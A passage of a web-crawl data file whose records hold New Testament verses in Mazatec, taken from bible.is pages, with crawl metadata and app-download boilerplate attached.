0.9976662397384644}","num_words":45,"character_repetition_ratio":0.013,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.156,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Melquisedec xi xi̱ta̱ xá ítjòn tsibìjna ts'e̱ na̱xa̱ndá Salem, ti̱koa̱ no̱'miì ítjòn tsibìjna ts'e̱ Nainá xi tíjna ngajmiì, kiìkaña̱-la̱ Abraham k'e̱ nga tínchrobá-ne nga jye kisìkijne yije-la̱ xi̱ta̱xá ítjòn xi kiskaànko̱. Melquisedec kisìchikontin Abraham. 2 Jè Abraham, teya kis'iìn tsojmì xi kisakò-la̱ ts'e̱ kjoa̱jchán, ko̱ jngoòya kitsjaà-la̱ Melquisedec. 'Ín xi 'mì Melquisedec tsòyaá-ne xi̱ta̱xá ítjòn xi tjín-la̱ o̱kixi̱. Ti̱koa̱ jè 'ín xi 'mì xi̱ta̱xá ítjòn ts'e̱ Salem tsòyaá-ne xi tjín-la̱ kjoa̱'nchán. 3 Jè Melquisedec mì kiì 'ya-la̱ tje̱-la̱, yá na'èn-la̱, yá nea̱-la̱, ñánda ki'tsiìn, ñánda k'en; k'oa̱ás'ín mangásònko̱ koni Cristo xi Ki'ndí-la̱ Nainá nga jè Melquisedec ti̱koa̱ no̱'miì ítjòn tíjna ni̱ta̱mé na̱chjrein-ne. 4 Jñò ti̱kítsjeèn nga 'ñó 'nga tsibìjna Melquisedec, skanda jè xi̱ta̱ jchínga-ná Abraham teya kis'iìn tsojmì xi kisakò-la̱ ts'e̱ kjo̱a̱jchán, ko̱ jngoòya kitsjaà-la̱ Melquisedec. 5 Kixi̱í kjoa̱, k'oa̱ás'in tíchja̱ kjo̱tíxoma-la̱ Moisés xi Nainá kitsjaà-la̱ nga jñà xi̱ta̱ na̱xa̱ndá tjínè-la̱ nga teya si̱ìjòya tsojmì xi tjín-la̱, jngoòya tsjá-la̱ jñà no̱'miì xi tje̱-la̱ Levi, na̱'sín ti̱ xi̱ta̱ xíkjín-ne xi ya̱ nchrobá'taà-ne tje̱-la̱ Abraham. 6 Ta̱nga jè Melquisedec, mìtsa tje̱-la̱ Leví, ta̱nga kitjoè-la̱ xi jngoòya oko̱-la̱ tsojmì xi teya kis'iìn Abraham, ikjoàn k'e̱é kisìchikontin, na̱s'ín jè Abraham xi kitjoé-la̱ 'én xi tsoba Nainá kiìchja̱-ne. 7 Nga jyeé tíjin-ná, jè xi síchikontin xi̱ta̱, ìsa̱á 'nga tíjna mì k'oa̱á-ne koni jè xi machikontin. 8 Jñà no̱'miì xi tje̱-la̱ Leví xi tjoé-la̱ xi jngoòya oko̱-la̱ xi teya s'ín xi̱ta̱ na̱xa̱ndá Israel, mì tsà ta bìtsa̱jnakon kjit'aà, bijchó na̱chrjein nga biya; ta̱nga i̱t'aà ts'e̱ Melquisedec, jè Xo̱jo̱n-la̱ Nainá, k'oa̱á s'ín 'ya-la̱ koni tsà jngoò xi̱ta̱ xi tákó tíjnakon skanda na̱chrjein i̱'ndei̱. 9 Jñà no̱'miì xi nchrobát'aà-ne tje̱-la̱ Leví xi tjoé-la̱ xi jngoòya oko̱-la̱ xi teya s'ín xi̱ta̱ na̱xa̱ndá Israel, ko̱maá k'oa̱kixoán nga ti̱koa̱á jè Melquisedec kitjoé jngoya-la̱ i̱t'aà ts'e̱ xi̱ta̱ koi k'e̱ nga kitsjaà jngoya-la̱ Abraham, 10 nga jñà no̱'miì xi tje̱-la̱ Leví, ya̱á nchrobát'aà-ne tje̱-la̱ Abraham. Na̱s'ín kj'eè kiì ts'iìn Leví k'e̱ nga jè Melquisedec ijchòkaña-la̱ Abraham, k'oa̱á s'ín ngaya-la̱ koni tsà jñà no̱'miì Israel, jyeé ya̱ títsa̱jnako̱ Abraham nga nchitsjá-la̱ kjo̱tjò xi jè tjoé-la̱ Melquisedec. 11 Jñà kjo̱tíxoma xi kitjoé-la̱ jñà xi̱ta̱ israelita, ya̱á inchrobát'aà-ne i̱t'aà ts'e̱ no̱'miì xi tje̱-la̱ Leví; ta̱nga jñà no̱'miì koi, mì kiì komà-la̱ nga jngoò k'a kisìkixi̱ya xi̱ta̱ nga mì ti̱ mé chi̱jat'aà-la̱. K'oa̱ás'ín komà-ne nga j'iì ijngoò no̱'miì xi jè mangásòn-ko̱ Melquisedec, ko̱ mìtsà jè mangásòn-ko̱ Aarón xi tje̱-la̱ Leví. 12 K'e̱ nga fatjìya no̱'miì, kós'ín síxá, ti̱koa̱á mochjeén-né nga kjoa̱hatjìya kjo̱tíxoma. 13 Koni s'ín tíchja̱ 'én-la̱ Nainá, jè xi kitjoé-la̱ xá koni ts'e̱ Melquisedec, kj'ei̱í tje̱-né; ya̱ ñánda inchrobàt'aà-ne, ni̱ sa̱á jngoò no̱'miì bitjokàjiìn. 14 K'oa̱ás'ín 'ya-la̱ nga jè Na'én-ná Jesucristo ya̱á inchrobàt'aà-ne tje̱-la̱ na̱xa̱ndá Judá. Tje̱-la̱ na̱xa̱ndá jè, mì kiì kisìkaxki̱ Moisés k'e̱ nga kiìchja̱ i̱t'aà ts'e no̱'miì. 15 Kjoa̱ koi, isa̱á nda makixi̱ya-ná tsà jè no̱'miì xi̱tse̱ si̱ìkitasòn koni s'ín kisìkitasòn jè Melquisedec. 16 Nga mìtsà k'oa̱ás'ín kitjoé-la̱ xá ts'e̱ no̱'miì koni s'ín tíchja̱ kjo̱tíxoma yá ts'e̱ tje̱ xi inchrobát'aà-ne nga no̱'miì kisìkitasòn. Ta sa̱á k'oa̱ás'ín kitjoé-la̱ xá i̱t'aà ts'e̱ nga'ñó xi tjín-la̱ nga mì tsà yá xi ko̱ma-la̱ jngoò k'a si̱ìk'en. 17 K'oa̱ás'ín tíchja̱ 'én-la̱ Nainá xi i̱t'aà ts'e̱, nga tsò: Ji-né xi no̱'miì tijni ni̱ta̱ mé na̱chrjein-ne, k'oa̱ás'ín mangásòn-koi̱i koni jè Melquisedec. 18 K'oa̱ás'ín komà-ne nga kichijàngui kjo̱tíxoma jchínga, koi kjoa̱-la̱ nga tsjìn-la̱ nga'ñó ti̱koa̱ mì ti̱ kiì tímochjeèn-ne. 19 Nga jè kjo̱tíxoma jchínga xi kiskiì Moisés, nì mé xi kisìkixi̱ya xi̱ta̱; ta̱nga na̱chrjein i̱'ndei̱, tjín ijngoò-ná kjoa̱ xi ìsa̱ ndaà tjín xi titsa̱chiñá-lá jè xi síkinchát'aà chraña-ná Nainá. 20 Nainá k'oa̱ás'ín kitsjaà kixi̱ 'én-la̱ xi xkón tjín k'e̱ nga kitsjaà tso'ba nga no̱'miì ítjòn kíjna Cristo. Jñà no̱'miì xi inga, ta k'oa̱ás'ín kitjoé-la̱ xá, mìtsà yá xi kitsjaà 'én-la̱. 21 Ta̱nga xi i̱t'aà ts'e̱ Na'én-ná Jesús k'oa̱ás'ín tíchja̱ xo̱jo̱n xi tjít'aà 'én-la̱ Nainá nga kitsò: Na̱'èn-ná k'oa̱ás'ín kitsjaà kixi̱ 'én-la̱; mì kiì siìkjatíya-la̱ kjo̱hítsjeèn-la̱ nga tsò: \"Ji-né xi no̱'miì ti̱jni ni̱ta̱ mé na̱chrjein-ne.\" 22 K'oa̱ás'ín ma-ne nga jè Jesucristo osen-tjì-ná nga nguixko̱n Nainá nga jè bíndaàjiìn ko̱-ná jngoò kjoa̱ xi̱tse̱ xi ìsa̱á ndaà tjín. 23 Ti̱koa̱á jñà no̱'miì xi kisìxá xi tje̱-la̱ Leví, jyeé kjìn ma xi jye kisìkitasòn xá-la̱ ta̱nga koií kjoa̱-la̱ nga biya nga mì kiì ma síxá isa̱. 24 Ta̱nga jè Jesús tíjnakon-ni ni̱ta̱kjé-ne, k'oa̱á ma-ne nga na̱'miì tíjna ni̱ta̱ mé na̱chrjein-ne. 25 K'oa̱ás'ín ma-ne nga ma-la̱ ochrjekàjiìn kjo̱'in xi̱ta̱ ni̱ta̱ mé na̱chrjein-ne, ngats'iì xi̱ta̱ xi i̱taà ts'e̱ Jesús bijchó nguixko̱n Nainá; jè tíjnakon-né ni̱ta̱ kjé-ne mé-ne nga bítsi'batjì xi̱ta̱. 26 I̱t'aà tsa̱ján, nguì jè Jesús xi mochjeèn-ná nga no̱'miì ítjòn tíjna: nga xi̱ta̱ tsjeè-né; nimé jé tjín-la̱; mì tjé kjiì ini̱ma̱-la̱; tíjnat'aàxìn-la̱ xi̱ta̱ jé, ko̱ jè xi ìsa̱ 'nga tíjna ján ngajmiì. 27 Mìtsà k'oa̱ s'ín koni s'ín no̱'miì ítjòn xi i'nga, nga na̱chrjein nchijón sík'en cho̱ nga tsjá kjo̱tjò-la̱ xi kjoa̱ ts'e̱ jé-la̱, ikjoàn tsjá ts'e̱ jé-la̱ xi̱ta̱ na̱xa̱ndá. Ta̱nga Jesús k'e̱ nga kitsjaà kjo̱tjò yijo-la̱ nga k'en, jngoò k'aá kitsjaà ni̱ta̱ kjé-né. 28 Jè kjo̱tíxoma xi kitsjaà Moisés, k'oa̱á s'ín tíchja̱ nga jñà kítsa̱jna no̱'miì ítjòn xi taxki̱ xi̱ta̱ xi chiba nga'ñó tjín-la̱; ta̱nga jè 'én xi xkón tjín xi i̱skan kitsjaà Nainá, k'oa̱á s'ín tíchja̱ nga jè Ki'ndí-la̱ Nainá, kíjna no̱'miì ítjòn, jè xi k'oa̱s'ín kisìko̱ Nainá nga nìmé chijat'aà-la̱ ni̱ta kjé-ne.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Heb\/7","date":"2013-05-18T15:29:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368696382503\/warc\/CC-MAIN-20130516092622-00055-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9999966621,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9999966621398926}","num_words":821,"character_repetition_ratio":0.083,"word_repetition_ratio":0.01,"special_characters_ratio":0.228,"stopwords_ratio":0.295,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Mateo 11:14\n14 Tsà mokjeiín-nò koni tsò jè kjo̱tíxoma ko̱ xi̱ta̱ xi kiìchja̱ya ti̱koa̱á ko̱kjeiín-nò nga jè Juan, jè-né xi̱ta̱ xi 'mì Elías xi tjínè-la̱ nga kjoi̱í.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/11\/14","date":"2013-05-21T08:03:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368699798457\/warc\/CC-MAIN-20130516102318-00081-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9978954196,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9978954195976257}","num_words":45,"character_repetition_ratio":0.023,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.267,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Romanos 10:5\n5 Jè Moisés, k'oa̱á s'ín kiskiì i̱'taà ts'e̱ xi̱ta̱ xi mejèn-la̱ kixi̱ kítsa̱jna i̱'taà ts'e̱ kjo̱tíxoma nga tsò: \"Jè xi̱ta̱ xi si̱ìkitasòn kjo̱tíxoma, i̱t'aà ts'e̱é kjo̱tíxoma kíjnakon-ne.\"\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/10\/5","date":"2013-05-25T10:03:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705926946\/warc\/CC-MAIN-20130516120526-00066-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9998611212,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9998611211776733}","num_words":46,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.152,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Corintios 8:5\n5 Jñà xi̱ta̱ koi, ìsa̱á tsoto kitsjaà koni s'ín titsa̱chiñá-la̱je̱n. Ítjòn nangui kisìkítsa̱jna-la̱ Nainá ini̱ma̱-la̱, i̱kjoàn, k'oa̱á ti kis'iìn i̱t'aà tsa̱je̱n koni s'ín mejèn-la̱ Nainá.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/2Cor\/8\/5","date":"2013-05-19T01:40:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368696383081\/warc\/CC-MAIN-20130516092623-00009-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9962785244,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9962785243988037}","num_words":44,"character_repetition_ratio":0.02,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.136,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Corintios 8:8\n8 Jñò bixón-nó nga jñà tsojmì xi ma chine, mìtsà koi kjoa̱-la̱ nga ìsa̱ ndaà skoétjò-ná Nainá. Tsà ki̱chia̱á mìtsà ìsa̱ nda ki̱tsa̱jnaá ko̱ tsà mì kiì ki̱chjia̱á mì tsà isa̱ ch'o ki̱tsa̱jnaá nga nguixko̱n Nainá.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/1Cor\/8\/8","date":"2013-05-19T01:54:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368696383081\/warc\/CC-MAIN-20130516092623-00025-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9998275638,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9998275637626648}","num_words":55,"character_repetition_ratio":0.025,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.182,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Timoteo 6:5\n5 Ti̱koa̱á ya̱á nchrobát'aà-ne nga kjit'aà na̱chrjein nchikjaán-kjoò jñà xi̱ta̱ xi mì kixi̱ síkjeén kjo̱hítsjeèn-la̱ ko̱ mì kjoa̱kixi̱ fìt'aà-la̱. K'oa̱á s'ín síkítsjeèn, tsò-né: tsà ndaà jcha̱xkoán Nainá, ya̱á sakó-ná to̱n. Ngaji̱, kì k'oa̱á tjín kjoa̱ xi nìkítsjiìn.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/1Tim\/6\/5","date":"2013-06-18T04:34:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368706933615\/warc\/CC-MAIN-20130516122213-00030-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9994026423,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.999402642250061}","num_words":56,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.196,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Marcos 9:9\n9 K'e̱ nga inchrobàjen-t'aà-ne nindoò, Jesús kitsò-la̱ xi̱ta̱ xi kota'yàt'aà-la̱: —Kì yá xi̱ta̱ xi beèno̱jmí-là jè kjoa̱ xi kà'yaà; skanda k'e̱é teno̱jmí-là k'e̱ nga kjoa̱áya-na i̱t'aà ts'e̱ kjoa̱biyaà an xi Ki'ndí-la̱ Xi̱ta̱ xan-la̱ yijo-na̱.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Mark\/9\/9","date":"2013-05-24T22:51:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705195219\/warc\/CC-MAIN-20130516115315-00023-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9991002083,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9991002082824707}","num_words":54,"character_repetition_ratio":0.017,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.222,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Romanos 10:12\n12 Jñà xi̱ta̱ judío ko̱ xi mì tsà xi̱ta̱ judío, tà ngásòn-né xi i̱t'aà ts'e̱ Nainá; nga ti̱jè-ne Cristo xi Na̱'èn tsò-la̱ ngats'iì xi̱ta̱. Jè kjo̱ndaà xi 'ñó tsee tjín-la̱ Cristo, jè tsjá-la̱ ngats'iì xi̱ta̱ xi chja̱t'aà-la̱.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/10\/12","date":"2013-05-21T23:48:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700871976\/warc\/CC-MAIN-20130516104111-00048-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9999613762,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9999613761901855}","num_words":56,"character_repetition_ratio":0.095,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.286,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Pedro 2:13\n13 Koií kjo̱'in tjoé ngajo-la̱ koni tjín kjo̱'in xi kitsjaà-la̱ xi̱ta̱ xi kj'ei̱í. Jñà xi̱ta̱ koi, na̱s'ín na̱chrjein, tsjaá ma-la̱ nga s'ín kjoa̱ xi 'ñó ch'o tjín. K'e̱ nga jñà xi̱ta̱ koi, fahijtako̱-nò tsa s'eí tjín-nò, síkits'ón-jin-né nga sísoba-nò nga ch'o tjín kjoa̱ xi s'ín.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/2Pet\/2\/13","date":"2013-05-19T18:43:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368697974692\/warc\/CC-MAIN-20130516095254-00039-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9985744357,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.998574435710907}","num_words":64,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.262,"stopwords_ratio":0.297,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Juan 10:18\n18 Ni̱ yá xi tjí'nde-la̱ nga si̱ìk'en-na, an kjo̱tsja ts'a̱n-ná nga tsja yijo-na̱. Tjí'nde-na̱ nga tsja, ti̱koa̱ tjí'nde-na̱ nga kjoa̱áya-na̱ i̱t'aà ts'e̱ kjoa̱biya. Jè Na̱'èn-na̱ k'oa̱ tjín ko̱tíxoma xi kitsja-na̱.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/John\/10\/18","date":"2013-05-19T17:09:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368697843948\/warc\/CC-MAIN-20130516095043-00025-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.993756175,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9937561750411987}","num_words":50,"character_repetition_ratio":0.037,"word_repetition_ratio":0.0,"special_characters_ratio":0.255,"stopwords_ratio":0.16,"flagged_words_ratio":0.0,"lang_id_score":0.996,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Romanos 11:15\n15 Tsà jñà xi̱ta̱ i̱sò'nde kisakò-la̱ kjoa̱'nchán i̱t'aà ts'e̱ Nainá k'e̱ nga jñà xi̱ta̱ judío itjokángui, ìsa̱á tsee kjo̱ndaà sa̱ko-la̱ jñá xi̱ta̱ judío k'e̱ nga skoétjo ìjngoò k'a-ne Nainá. Skanda k'oa̱á s'ín ko̱matin koni jngoò xi̱ta̱ xi jye k'en ko̱ kjoa̱áya-la̱ i̱t'aà ts'e̱ kjoa̱biya.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/11\/15","date":"2013-05-20T20:30:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368699201808\/warc\/CC-MAIN-20130516101321-00042-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9998848438,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.999884843826294}","num_words":63,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.206,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Apocalipsis 1:3\n3 Mé tà ndaà-la̱ jè xi̱ta̱ xi bíxke̱jiìn xo̱jo̱n koa̱ jñà xi 'nchré 'én-la̱ Nainá xi tjít'aà xo̱jo̱n jè, jñá kjoa̱ xi sa̱ ki̱tjasòn; ti̱koa̱á mé ta ndaà-la̱ jè xi̱ta̱ xi síkitasòn koni tsò xo̱jo̱n jè, nga jè na̱chrjein, jye nchrobá machrañà.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/1\/3","date":"2013-05-19T19:52:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368698017611\/warc\/CC-MAIN-20130516095337-00079-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.999782145,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.999782145023346}","num_words":61,"character_repetition_ratio":0.101,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.279,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Koií kjoa̱-la̱, mochjeèn-né nga nguiì sa̱ ndaà si̱s'in-lá 'én xi jye kina'yá, mé-ne nga mì xìn ndiyá kjiaán koni s'ín tjín ndi̱yá-la̱ Nainá. 2 Jñà kjo̱tíxoma xi Nainá kitsjà nga kisìkjeén àkja̱le̱ na̱chrjein xi jye tsato, tjín-la̱ o̱kixi̱, ko̱ jñà xi̱ta̱ xi tsohótsji jé nga mì kiì kisìkitasòn kjo̱tíxoma xi ki'tsi-la̱, kjo̱'iín kitjoé-la̱ koni s'ín o'kìn-la̱. 3 Ko̱ jñá xi titsa̱jnaá na̱chrjein i̱'ndei̱, isa̱á 'ñó s'e̱-ná kjo̱'in tsà mì kì si̱'siaán 'én-la̱ Cristo nga jè ko̱chrjekàjiìn-ná kjo̱'in. Nga̱ jè sobá Na̱'èn-ná kitsjà ítjòn-ná 'én koi. Ko̱ jñà xi i̱skan kiì'nchré 'én koi, ti̱koa̱á tsibeèno̱jmí-ná nga kixi̱ kjoa̱. 4 Nainá, ti̱koa̱á kisìkixi̱ya 'én koi nga kjìn sko̱ya kjo̱xkón kis'iìn xi okó kjoa̱ jeya-la̱ Nainá, ti̱koa̱ kisìka'bísòn kjo̱tjò ts'e̱ I̱nima̱ Tsjeè-la̱; k'oa̱á s'ín kitsjaà koni s'ín mejèn-la̱ jè. 5 Nga̱ Nainá mìtsà jñà àkja̱le̱ kitsjaà-la̱ nga jñà ko̱tìxoma-la̱ jè i̱sò'nde xi i̱skan kjoi̱í, jè xi titsa̱chibàya-ná. 6 Ta saá tíchja̱á jngoò k'a Xo̱jo̱n-la̱ Nainá ñánda nga tsò: Ji̱ Na̱'èn, ¿yá-né xi xi̱ta̱? ¿a o'kín-la̱ nga ji̱ nìkítsjeèn-ne ko̱ makájno-lè i̱t'aà ts'e̱? 7 Ìsa̱á nangui kinìkíjni koni jñà àkja̱le̱, ki'tsiì-la̱ kjoa̱ jeya ko̱ 'nga kinìkíjni nga tsatìxoma, 8 ji̱ ki'tsi-la̱ nga'ñó nga ma ko̱tíxoma-la̱ nga'tsiì tsojmì xi tjín. Tsà Nainá kitsjaà-la̱ nga'ñó nga jè ko̱tèxoma-la̱ nga'tsiì tsojmì xi tjín tsòyaá-ne nga ni̱mé tsojmì tjín xi mì jè otíxoma-la̱. Kixi̱í kjoa̱, na̱chrjein i̱'ndei̱, kj'eè kiì ndaà 'ya-la̱ tsà jè tíhotíxoma-la̱ nga'tsiì tsojmì xi tjín. 9 Ta̱nga 'ya-ná nga jè Jesús, na̱s'ín nangui kinìkíjna chiba na̱chrjein koni jñà àkja̱le̱, ta̱nga i̱'ndei̱, jeyaá tíjna ko̱ 'ngaá tíjna nga tíhotíxoma, koií kjoa̱-la̱ nga kjo̱'in kisìkjeiìn k'e̱ nga k'en. Nainá, 'ñó matsjake-ná nga kisìkasén Jesús nga jè kisìkjeiín kjo̱'in ts'e̱ kjoa̱biya xi kjo̱nda ts'e̱ ngats'iì xi̱ta̱. 10 Jè Nainá, xi tsibínda yije ni̱ta̱mé xi tjín, ndaá ok'in-la̱ koni s'ín kis'in k'e̱ nga kisìkatojin kjo̱'in Ki'ndí-la̱ mé-ne nga i̱t'aa ts'e̱ kjo̱'in xi tsotojin-ne, ni̱mé kjoa̱ xi kichijat'a-la̱ nga ko̱ma ko̱chrjekájin-ná kjo̱'in kjoa̱ ts'e̱ jé-ná nga'tsì xi i̱xti-la̱ Nainá maá xi jè mejèn-la̱ nga ya̱ kítsa̱jnakoa̱á ñánda nga jeya tíjna jè. 11 Jè xi tísítsjeè xi̱ta̱ xi tjín-la̱ jé, ko̱ jñà xi̱ta̱ xi tjímatsjeè, tajngoó Na̱'én ma. Koiì kjoa̱-la̱ jè Ki'ndí-la̱ Nainá mì kiì masobà-la̱ nga 'ntse̱ tsò-la̱ xi̱ta̱ xi sìtsjeè. 12 Jè Xo̱jo̱n-la̱ Nainá k'oa̱s'ín tjít'aà nga tsò: Keèno̱jmí-la̱ jñà xi̱ta̱ 'ntsè xi i̱t'aà tsi̱ji, seè-lè ya̱ i̱jiìn-la̱ xi̱ta̱ na̱xa̱ndá-le. 13 Ti̱koa̱á tjít'aà ñánda tsò: Jè Nainá ma'ñót'aà takoàn. Ijngoò k'a tjít'aà ñánda tsò: I̱í tijnakoa̱a i̱xti xi Nainá kitsjaà-na. 14 K'oa̱ás'in tjín koni i̱xti-la̱ xi̱ta̱, ta̱jngoò jní-né ko̱ tajngoò yijo-né, Jesús k'oa̱ tis'ín jní ko̱ yijo kis'eè-la̱ mè-ne nga i̱t'aà ts'e̱ kjoa̱ biyaà ma kisikìjne-la̱ xi̱ta̱ nei̱í xi tjín-la̱ nga'ñó nga ma-la̱ sík'e̱n xi̱ta̱. 15 Jesús k'oa̱ás'in komàtin mé-ne nga komà kisìkítsa̱jnandei̱í ngats'iì xi̱ta̱ xi kitsakjòn-la̱ kjoa̱ biyaà nga k'oa̱ás'ín títsa̱jnà koni tsà tjít'aà'ñó-la̱ kó tjín na̱chrjein bitsa̱jnakon xi̱ta̱. 16 Jesús mìtsà koií xá j'iì-ne nga jñà àkja̱le̱ si̱ìchját'aà-la̱, jñà xi̱ta̱ tje̱-la̱ Abraham si̱ìchját'aà-la̱. 17 K'oa̱ás'ín komà-ne, jè Jesús tjínè-la̱ nga ngásòn k'oa̱s'ín xi̱ta̱ komà koni 'ntse̱, mé-ne nga no̱'miì ítjòn komà-ne xi tjín-la̱ kjo̱hi̱ma̱takòn xi ndaà síkitasòn xá-la̱ Nainá nga ko̱ma ki̱ìchjítji-ne jé-la̱ xi̱ta̱ i̱t'aà ts'e̱ kjoa̱ biyaà-la̱. 18 Koni s'ín kichit'aà nga kits'ì-la̱ kjo̱'in, jè, k'oa̱á tis'ín ma-la̱ osìko̱ jè xi̱ta̱ xi ko̱ kjo̱'in 